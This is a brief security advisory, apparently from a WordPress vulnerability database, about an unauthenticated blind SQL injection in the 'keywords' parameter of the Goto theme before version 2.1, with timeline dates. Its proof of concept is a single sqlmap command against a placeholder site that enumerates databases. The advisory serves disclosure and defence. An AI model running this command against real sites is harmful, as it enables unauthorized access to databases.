Goto < 2.1 - Unauthenticated Blind SQL Injection
Description
The theme did not sanitise, validate of escape the keywords GET parameter from its listing page before using it in a SQL statement, leading to an Unauthenticated SQL injection issue
Proof of Concept
sqlmap --url="https://example.com/tour-list/?keywords=13&start_date=13" --random-agent -dbs --level=3 --threads=4 --dbms=MySQL -p keywords
Affects Themes
Fixed in version 2.1✓
Classification
Miscellaneous
Timeline
Publicly Published
2021-04-26 (about 3 months ago)
Added
2021-04-29 (about 2 months ago)
Last Updated
2021-05-17 (about 2 months ago)